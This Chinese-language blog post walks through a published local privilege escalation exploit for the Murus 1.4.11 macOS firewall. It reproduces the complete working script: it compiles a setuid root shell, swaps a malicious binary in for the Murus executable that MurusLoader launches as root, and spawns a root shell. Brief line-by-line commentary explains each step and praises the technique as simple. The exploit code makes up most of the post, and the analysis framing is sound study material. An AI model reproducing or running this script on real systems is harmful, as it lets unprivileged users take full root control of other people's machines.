Murus 1.4.11 - Local Privilege Escalation 漏洞简析

没有mac的苦逼就直接分析代码了

首先Murus是mac的防火墙,这个东西只要可以以admin权限运行就可以提权了

step1

首先我们看到编译一个c程序

cat > /tmp/murus411_exp.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f /tmp/murus411_exp; /bin/bash",NULL);
  return 0;
}
EOF

gcc -o /tmp/murus411_exp /tmp/murus411_exp.c

if [ ! $? -eq 0 ] ; then
  rm -f /tmp/murus411_exp.c
    echo "failed to compile, dev tools may not be installed"
  exit 1
fi

rm -f /tmp/murus411_exp.c

看到这里我们就知道这应该是不正当权限运行程序导致的,先设置当前程序的uid和euid,之后执行/bin/bash

而$? 可以获取上一个命令的退出状态。所谓退出状态,就是上一个命令执行后的返回结果。

成功应该返回0,如果返回不是0说明编译有问题了

step2

之后又编译第二个程序

cat > /tmp/murus411_exp2.c <<EOF
#include <unistd.h>
#include <stdlib.h>
int main()
{
  setuid(0);
  seteuid(0);
  system("chown root:wheel /tmp/murus411_exp");
  system("chmod 4755 /tmp/murus411_exp");
  system("mv /Applications/Murus.app/Contents/MacOS/Murus.orig /Applications/\
Murus.app/Contents/MacOS/Murus");
  execl("/Applications/Murus.app/Contents/MacOS/Murus","Murus",NULL);
  return 0;
}
EOF

gcc -o /tmp/murus411_exp2 /tmp/murus411_exp2.c
rm -f /tmp/murus411_exp2.c

这个就将第一个程序拥有者设置为0,并设置suid位,最后mv Murus.orig并执行

step3

查找进程MurusLoader,看看起来了没

while :
do
  ps auxwww |grep '/Applications/Murus.app/Contents/MacOS/MurusLoader' \
    |grep -v grep 1>/dev/null
  if [ $? -eq 0 ] ; then
    break
  fi
done

step4

mv /Applications/Murus.app/Contents/MacOS/Murus /Applications/Murus.app/\
Contents/MacOS/Murus.orig
mv /tmp/murus411_exp2 /Applications/Murus.app/Contents/MacOS/Murus

最后将原来的Murus替换为我们的exp2

那么问题就是MurusLoader以root权限执行/Applications/Murus.app/Contents/MacOS/Murus这个程序导致的问题了,这就是关键所在

step5

最后再检查下我们的文件的拥有者是不是root,之后就获得了root权限了

while :
do
  r=`ls -la /tmp/murus411_exp |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
done

echo "kapow"

/tmp/murus411_exp

小结

其实很多时候不应要利用内核漏洞去提权,这种以不当的权限启动程序的是一个很好的方法,之前分析nsa的工具的时候,很多都是利用这一点,简单方便,何乐而不为呢

有空总结一下提权的各种套路,大家可以提醒一下我

reference

https://www.exploit-db.com/exploits/43217/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值